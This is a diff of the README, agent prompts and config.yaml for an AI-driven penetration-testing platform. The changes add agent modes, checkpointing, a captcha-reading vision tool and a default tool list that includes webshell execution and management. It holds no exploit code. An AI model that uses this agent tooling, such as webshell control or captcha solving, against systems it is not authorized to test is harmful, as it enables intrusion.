- **单代理 / 多代理**:聊天可选 **Eino 单代理**(`/api/eino-agent/stream`)与 **多代理**(`/api/multi-agent/stream` + `orchestration`)。多代理需 `multi_agent.enabled: true`。MCP 工具桥接一致。
|
||||||
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
|
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
|
||||||
- **工具监控**:查看任务队列、执行日志、大文件附件。
|
- **工具监控**:查看任务队列、执行日志、大文件附件。
|
||||||
- **会话历史**:所有对话与工具调用保存在 SQLite,可随时重放。
|
- **会话历史**:所有对话与工具调用保存在 SQLite,可随时重放。
|
||||||
@@ -257,7 +258,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
|
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
|
||||||
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
|
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
|
||||||
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
|
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
|
||||||
- **Skills**:技能包位于 `skills_dir`;**多代理 / Eino** 下由 **`skill`** 工具 **按需加载**(渐进式披露)。**`multi_agent.eino_skills`** 控制中间件与本机 read_file/glob/grep/write/edit/execute(**Deep / Supervisor** 主/子代理;**plan_execute** 执行器无独立 skill 中间件,见文档)。**单代理 ReAct** 当前不挂载该 Eino skill 链。
|
- **Skills**:技能包位于 `skills_dir`;启用 **`multi_agent.eino_skills`** 后,**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**(tool_search、plantask、reduction、checkpoint、Summarization 转录等)与本机 read_file/glob/grep 等见文档。
|
||||||
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
|
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
|
||||||
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
|
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
|
||||||
|
|
||||||
@@ -277,7 +278,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
|
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
|
||||||
|
|
||||||
### 多代理模式(Eino:Deep / Plan-Execute / Supervisor)
|
### 多代理模式(Eino:Deep / Plan-Execute / Supervisor)
|
||||||
- **能力说明**:与 **单代理 ReAct** 并存的可选路径,基于 CloudWeGo **Eino** `adk/prebuilt`:**`deep`** — 协调主代理 + **`task`** 子代理;**`plan_execute`** — 规划 / 执行 / 重规划闭环(不使用 YAML/Markdown 子代理列表);**`supervisor`** — 主代理 **`transfer`** / **`exit`** 调度 Markdown 专家。客户端通过 **`orchestration`** 选 `deep` | `plan_execute` | `supervisor`(缺省 `deep`)。
|
- **能力说明**:在 **Eino 单代理**(`/api/eino-agent*`)之外,多代理基于 CloudWeGo **Eino** `adk/prebuilt`:**`deep`**、**`plan_execute`**、**`supervisor`**;客户端 **`orchestration`** 选择(缺省 `deep`)。
|
||||||
- **Markdown 定义**(`agents_dir`,默认 `agents/`):
|
- **Markdown 定义**(`agents_dir`,默认 `agents/`):
|
||||||
- **Deep 主代理**:`orchestrator.md` 或唯一 `kind: orchestrator` 的 `.md`;正文或 `multi_agent.orchestrator_instruction`,再回退 Eino 默认。
|
- **Deep 主代理**:`orchestrator.md` 或唯一 `kind: orchestrator` 的 `.md`;正文或 `multi_agent.orchestrator_instruction`,再回退 Eino 默认。
|
||||||
- **Plan-Execute 主代理**:固定 **`orchestrator-plan-execute.md`**(另可配 `orchestrator_instruction_plan_execute`)。
|
- **Plan-Execute 主代理**:固定 **`orchestrator-plan-execute.md`**(另可配 `orchestrator_instruction_plan_execute`)。
|
||||||
@@ -285,6 +286,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
- **子代理**(**deep** / **supervisor**):其余 `*.md`;标成 orchestrator 的不会进入 `task` 列表。
|
- **子代理**(**deep** / **supervisor**):其余 `*.md`;标成 orchestrator 的不会进入 `task` 列表。
|
||||||
- **界面管理**:**Agents → Agent 管理**;API `/api/multi-agent/markdown-agents`。
|
- **界面管理**:**Agents → Agent 管理**;API `/api/multi-agent/markdown-agents`。
|
||||||
- **配置项**:`multi_agent`:`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并(同 `id` → Markdown 优先)、**`eino_skills`**、**`eino_middleware`**。
|
- **配置项**:`multi_agent`:`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并(同 `id` → Markdown 优先)、**`eino_skills`**、**`eino_middleware`**。
|
||||||
|
- **长任务与恢复**:`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**(与基于 trace 的「中断继续」不同)。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**,摘要消息中带路径,模型可用 `read_file` 找回扫描输出等压缩前细节。
|
||||||
- **更多细节**:[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)(流式、机器人、批量、中间件差异)。
|
- **更多细节**:[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)(流式、机器人、批量、中间件差异)。
|
||||||
|
|
||||||
### Skills 技能系统(Agent Skills + Eino)
|
### Skills 技能系统(Agent Skills + Eino)
|
||||||
@@ -292,7 +294,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
- **运行侧重构**:**`skills_dir`** 为技能包唯一根目录;**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**(模型按 **name** 调用 `skill`,而非一次性注入全文)。由 **`multi_agent.eino_skills`** 控制:`disable`、`filesystem_tools`(本机读写与 Shell)、`skill_tool_name`。
|
- **运行侧重构**:**`skills_dir`** 为技能包唯一根目录;**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**(模型按 **name** 调用 `skill`,而非一次性注入全文)。由 **`multi_agent.eino_skills`** 控制:`disable`、`filesystem_tools`(本机读写与 Shell)、`skill_tool_name`。
|
||||||
- **Eino / 知识流水线**:技能包可切分为 `schema.Document`,供 `FilesystemSkillsRetriever`(`skills.AsEinoRetriever()`)在 **compose** 图(如索引/编排)中使用。
|
- **Eino / 知识流水线**:技能包可切分为 `schema.Document`,供 `FilesystemSkillsRetriever`(`skills.AsEinoRetriever()`)在 **compose** 图(如索引/编排)中使用。
|
||||||
- **HTTP 管理**:`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维;**模型侧** 多代理走 **`skill`** 工具,而非 MCP。
|
- **HTTP 管理**:`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维;**模型侧** 多代理走 **`skill`** 工具,而非 MCP。
|
||||||
- **可选 `eino_middleware`**:如 `tool_search`(动态工具列表)、`patch_tool_calls`、`plantask`(结构化任务;默认落在 `skills_dir` 下子目录)、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等,见 `config.yaml` 与 `internal/config/config.go`。
|
- **可选 `eino_middleware`**:如 `tool_search`(动态工具列表)、`patch_tool_calls`、**`plantask`**(Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`;JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`;**全部**任务标为 completed 后 Eino 会清理任务文件)、`reduction`、**`checkpoint_dir`**(如 `data/eino-checkpoints/`)、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等,见 `config.yaml` 与 `internal/config/config.go`。
|
||||||
- **自带示例**:`skills/cyberstrike-eino-demo/`;说明见 `skills/README.md`。
|
- **自带示例**:`skills/cyberstrike-eino-demo/`;说明见 `skills/README.md`。
|
||||||
|
|
||||||
**新建技能:**
|
**新建技能:**
|
||||||
@@ -534,13 +536,13 @@ skills_dir: "skills" # Skills 目录(相对于配置文件所在目录)
|
|||||||
agents_dir: "agents" # 多代理 Markdown(主代理 orchestrator.md + 子代理 *.md)
|
agents_dir: "agents" # 多代理 Markdown(主代理 orchestrator.md + 子代理 *.md)
|
||||||
multi_agent:
|
multi_agent:
|
||||||
enabled: false
|
enabled: false
|
||||||
default_mode: "single" # single | multi(开启多代理时的界面默认模式)
|
default_mode: "eino_single" # eino_single | multi(开启多代理时的界面默认模式)
|
||||||
robot_default_agent_mode: react
|
robot_default_agent_mode: eino_single
|
||||||
batch_use_multi_agent: false
|
batch_use_multi_agent: false
|
||||||
orchestrator_instruction: "" # Deep;orchestrator.md 正文为空时使用
|
orchestrator_instruction: "" # Deep;orchestrator.md 正文为空时使用
|
||||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
|
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
|
||||||
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
||||||
# eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
|
# eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
|
||||||
```
|
```
|
||||||
|
|
||||||
### 工具模版示例(`tools/nmap.yaml`)
|
### 工具模版示例(`tools/nmap.yaml`)
|
||||||
|
|||||||
@@ -97,6 +97,7 @@ description: supervisor 模式下的协调者:通过 transfer 委派专家子
|
|||||||
- **`transfer` 交接包(强制,避免专家重复侦察)**:**把专家当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 在触发 `transfer` 的**同一条助手正文**中写清(勿仅依赖历史里的长工具输出;摘要后专家可能看不到细节):
|
- **`transfer` 交接包(强制,避免专家重复侦察)**:**把专家当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 在触发 `transfer` 的**同一条助手正文**中写清(勿仅依赖历史里的长工具输出;摘要后专家可能看不到细节):
|
||||||
- **已知资产/结论摘要**(主域、关键子域、高价值目标、已开放端口或服务类型等)。
|
- **已知资产/结论摘要**(主域、关键子域、高价值目标、已开放端口或服务类型等)。
|
||||||
- **本轮唯一任务**与 **禁止项**(例如:「不得再做全量子域枚举;仅对下列主机做 MQTT 验证」)。
|
- **本轮唯一任务**与 **禁止项**(例如:「不得再做全量子域枚举;仅对下列主机做 MQTT 验证」)。
|
||||||
|
- **图片/验证码(若有)**:本地绝对路径 + 期望输出格式(如验证码「只输出字符」);专家默认看不到父对话识图结果,须在交接正文中写明。
|
||||||
- **专家类型**:验证/利用/协议分析派对应专家,**避免**把「仅差验证」的工作交给 `recon` 导致其按习惯从侦察阶段重来。
|
- **专家类型**:验证/利用/协议分析派对应专家,**避免**把「仅差验证」的工作交给 `recon` 导致其按习惯从侦察阶段重来。
|
||||||
- **transfer 前目标完整性校验(强制)**:在 `transfer` 前必须具备并显式写入:
|
- **transfer 前目标完整性校验(强制)**:在 `transfer` 前必须具备并显式写入:
|
||||||
- 目标标识:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
- 目标标识:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ description: 多代理模式下的 Deep 编排者:在已授权安全场景中
|
|||||||
- **`task` 上下文交接(强制,避免重复劳动)**:**把子代理当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 框架下子代理默认**只看到**你传入的 `description` 文本,**看不到**你在父对话里已跑过的工具输出全文。因此每次 `task` 的 `description` 必须自带**交接包**(可精简,但不可省略关键事实):
|
- **`task` 上下文交接(强制,避免重复劳动)**:**把子代理当作刚走进房间的同事——它没看过你的对话,不知道你做了什么,也不了解这个任务为什么重要。** 框架下子代理默认**只看到**你传入的 `description` 文本,**看不到**你在父对话里已跑过的工具输出全文。因此每次 `task` 的 `description` 必须自带**交接包**(可精简,但不可省略关键事实):
|
||||||
- **已完成**:已枚举的主域/子域要点、已扫端口或服务结论、已确认 IP/URL、协调者已知的漏洞假设等(用列表或短段落即可)。
|
- **已完成**:已枚举的主域/子域要点、已扫端口或服务结论、已确认 IP/URL、协调者已知的漏洞假设等(用列表或短段落即可)。
|
||||||
- **本轮只做**:明确写「本轮禁止重复全量子域爆破 / 禁止重复相同 subfinder 参数集」等(若确实需要增量,写清增量范围)。
|
- **本轮只做**:明确写「本轮禁止重复全量子域爆破 / 禁止重复相同 subfinder 参数集」等(若确实需要增量,写清增量范围)。
|
||||||
|
- **图片/验证码(若有)**:本地绝对路径 + 期望输出格式(如验证码「只输出字符」、登录页 UI 要素列表);子代理默认看不到父对话里的识图结果,须在 description 中写明路径与格式。
|
||||||
- **专家匹配**:验证、利用、协议深挖(如 MQTT)等应委派给**对应专项子代理**;不要把此类子目标交给纯侦察(`recon`)角色除非任务仅为补充攻击面。
|
- **专家匹配**:验证、利用、协议深挖(如 MQTT)等应委派给**对应专项子代理**;不要把此类子目标交给纯侦察(`recon`)角色除非任务仅为补充攻击面。
|
||||||
- **派单前目标完整性校验(强制)**:在调用 `task` 前,你必须检查并写入最小必需字段;任一缺失时**禁止委派**,先向用户澄清或先自行补充证据:
|
- **派单前目标完整性校验(强制)**:在调用 `task` 前,你必须检查并写入最小必需字段;任一缺失时**禁止委派**,先向用户澄清或先自行补充证据:
|
||||||
- **目标标识**:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
- **目标标识**:`URL` 或 `IP:Port` 或 `域名 + 具体路径/API 基址`
|
||||||
|
|||||||
+31
-20
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.6.26"
|
version: "v1.6.35"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
@@ -65,6 +65,20 @@ openai:
|
|||||||
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
||||||
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
||||||
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
||||||
|
# 视觉分析(analyze_image MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要)
|
||||||
|
vision:
|
||||||
|
enabled: false # true 且 model 非空时注册 analyze_image
|
||||||
|
model: qwen-vl # VL 模型名(enabled 时必填)
|
||||||
|
api_key: "" # 留空则复用 openai.api_key
|
||||||
|
base_url: "" # 留空则复用 openai.base_url
|
||||||
|
provider: # 留空则复用 openai.provider(openai | claude)
|
||||||
|
max_image_bytes: 5242880 # 原始文件上限(字节),默认 5MB
|
||||||
|
max_dimension: 2048 # 长边缩放像素
|
||||||
|
jpeg_quality: 82
|
||||||
|
max_payload_bytes: 524288 # 编码后送 VL API 上限,默认 512KB
|
||||||
|
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传;0=始终压缩
|
||||||
|
detail: auto # low | high | auto(Eino ImageURLDetail)
|
||||||
|
timeout_seconds: 60
|
||||||
# ============================================
|
# ============================================
|
||||||
# 信息收集(FOFA)配置(可选)
|
# 信息收集(FOFA)配置(可选)
|
||||||
# ============================================
|
# ============================================
|
||||||
@@ -77,28 +91,26 @@ fofa:
|
|||||||
# Agent 配置
|
# Agent 配置
|
||||||
# 达到最大迭代次数时,AI 会自动总结测试结果
|
# 达到最大迭代次数时,AI 会自动总结测试结果
|
||||||
agent:
|
agent:
|
||||||
max_iterations: 1200 # 最大迭代次数,AI 代理最多执行多少轮工具调用
|
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
||||||
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
||||||
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
||||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||||
# system_prompt_path: prompts/single-react.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||||
|
|
||||||
system_prompt_path: ""
|
system_prompt_path: ""
|
||||||
# 人机协同(HITL)全局白名单:此处列出的工具始终免审批,与对话页「白名单工具(免审批,逗号分隔)」合并为并集;侧栏「应用」可合并写入本列表并立即生效。
|
# 人机协同(HITL)全局白名单:此处列出的工具始终免审批,与对话页「白名单工具(免审批,逗号分隔)」合并为并集;侧栏「应用」可合并写入本列表并立即生效。
|
||||||
hitl:
|
hitl:
|
||||||
# 按你环境里的真实工具名增删(与侧栏一致、小写不敏感);不需要全局免审批可改为 []
|
# 按你环境里的真实工具名增删(与侧栏一致、小写不敏感);不需要全局免审批可改为 []
|
||||||
tool_whitelist: [read_file, list_dir, glob, grep]
|
tool_whitelist: [read_file, list_dir, glob, grep]
|
||||||
# 多代理(CloudWeGo Eino DeepAgent,与上方单 Agent /api/agent-loop 并存)
|
# 多代理与 Eino 单代理(CloudWeGo Eino ADK;单代理入口 /api/eino-agent*,多代理 /api/multi-agent*)
|
||||||
# 依赖在 go.mod 中拉取;若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
|
# 依赖在 go.mod 中拉取;若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
|
||||||
# 启用后需重启服务才会注册 /api/multi-agent 与 /api/multi-agent/stream;Deep / Plan-Execute / Supervisor 由对话页与 WebShell 所选模式在请求体中传入;机器人按 robot_default_agent_mode
|
# Deep / Plan-Execute / Supervisor 由对话页与 WebShell 所选模式在请求体 orchestration 中指定;机器人按 robot_default_agent_mode
|
||||||
multi_agent:
|
multi_agent:
|
||||||
enabled: true
|
enabled: true
|
||||||
robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认对话模式:react | eino_single | deep | plan_execute | supervisor
|
robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认:eino_single | deep | plan_execute | supervisor
|
||||||
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
||||||
max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次,0 表示沿用 agent.max_iterations
|
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
|
||||||
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
|
|
||||||
plan_execute_loop_max_iterations: 0
|
plan_execute_loop_max_iterations: 0
|
||||||
sub_agent_max_iterations: 120
|
|
||||||
sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限;0=默认2000,负数=禁用
|
sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限;0=默认2000,负数=禁用
|
||||||
without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
|
without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
|
||||||
without_write_todos: false
|
without_write_todos: false
|
||||||
@@ -116,9 +128,9 @@ multi_agent:
|
|||||||
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||||
tool_search_always_visible_tools: [read_file, glob, grep, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||||
plantask_enable: false # true:主代理(Deep / Supervisor 主)挂载 TaskCreate/Get/Update/List;需 eino_skills 可用且 skills_dir 存在,否则仅打日志并跳过
|
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
|
||||||
plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录,其下再按会话 ID 分子目录存放
|
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
|
||||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
reduction_enable: true # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
||||||
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
||||||
reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值(tokens),超阈值时在模型调用前清理旧结果
|
reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值(tokens),超阈值时在模型调用前清理旧结果
|
||||||
@@ -127,16 +139,15 @@ multi_agent:
|
|||||||
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||||
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
||||||
summarization_emit_internal_events: true # true:发出 summarization 内部事件(便于诊断)
|
summarization_emit_internal_events: true # true:发出 summarization 内部事件(便于诊断)
|
||||||
history_input_budget_ratio: 0.35 # 历史入队预算比例(max_total_tokens * ratio)
|
|
||||||
plan_execute_user_input_budget_ratio: 0.35 # plan_execute 中 userInput 预算比例(planner/replanner/executor 共用)
|
plan_execute_user_input_budget_ratio: 0.35 # plan_execute 中 userInput 预算比例(planner/replanner/executor 共用)
|
||||||
plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
|
plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
|
||||||
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
|
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
|
||||||
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
|
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
|
||||||
checkpoint_dir: "" # 非空:为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore,便于中断恢复持久化;Resume 的 HTTP/前端流程需另行对接
|
checkpoint_dir: data/eino-checkpoints # P0:进程崩溃/OOM 后同会话自动 ADK Resume;正常结束会删 .ckpt;与「中断并继续」(last_react_*) 是两套机制
|
||||||
run_retry_max_attempts: 0 # >0:429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数;0=默认 10
|
run_retry_max_attempts: 0 # 429/5xx/网络抖动时整轮 Run 指数退避续跑;0=默认 10(与 deep_model_retry 互补,建议保持默认)
|
||||||
run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30
|
run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30
|
||||||
deep_output_key: "" # 非空:将最终助手输出写入 adk session 的键名(Deep 与 Supervisor 主代理);空表示不写入
|
deep_output_key: final_answer # P0:Eino session 写入最终助手结论(框架内部;Deep/Supervisor 主/eino_single)
|
||||||
deep_model_retry_max_retries: 0 # >0:ChatModel 调用失败时的框架级最大重试次数(Deep 与 Supervisor 主);0:不重试
|
deep_model_retry_max_retries: 3 # P0:单次 ChatModel API 失败时框架自动重试(超时/502 等);子代理模型不受此项影响
|
||||||
task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑
|
task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑
|
||||||
# Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client)
|
# Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client)
|
||||||
eino_callbacks:
|
eino_callbacks:
|
||||||
@@ -281,7 +292,7 @@ skills_dir: skills # Skills配置文件目录(相对于配置文件所在目
|
|||||||
# ============================================
|
# ============================================
|
||||||
# 多代理子 Agent(Markdown,唯一维护处)
|
# 多代理子 Agent(Markdown,唯一维护处)
|
||||||
# ============================================
|
# ============================================
|
||||||
# 每个 .md:YAML front matter(name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator)+ 正文为系统提示词
|
# 每个 .md:YAML front matter(name / id / description / tools / bind_role / 可选 max_iterations>0 覆盖全局 / 可选 kind: orchestrator)+ 正文为系统提示词
|
||||||
# 主代理:固定文件名 orchestrator.md,或任意文件名 + front matter kind: orchestrator(全目录仅允许一个);主代理不参与 task 子代理列表
|
# 主代理:固定文件名 orchestrator.md,或任意文件名 + front matter kind: orchestrator(全目录仅允许一个);主代理不参与 task 子代理列表
|
||||||
# 高级用法:仍可在 multi_agent 块内写 sub_agents,会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
|
# 高级用法:仍可在 multi_agent 块内写 sub_agents,会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
|
||||||
agents_dir: agents
|
agents_dir: agents
|
||||||
@@ -299,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
|
|||||||
project:
|
project:
|
||||||
enabled: true
|
enabled: true
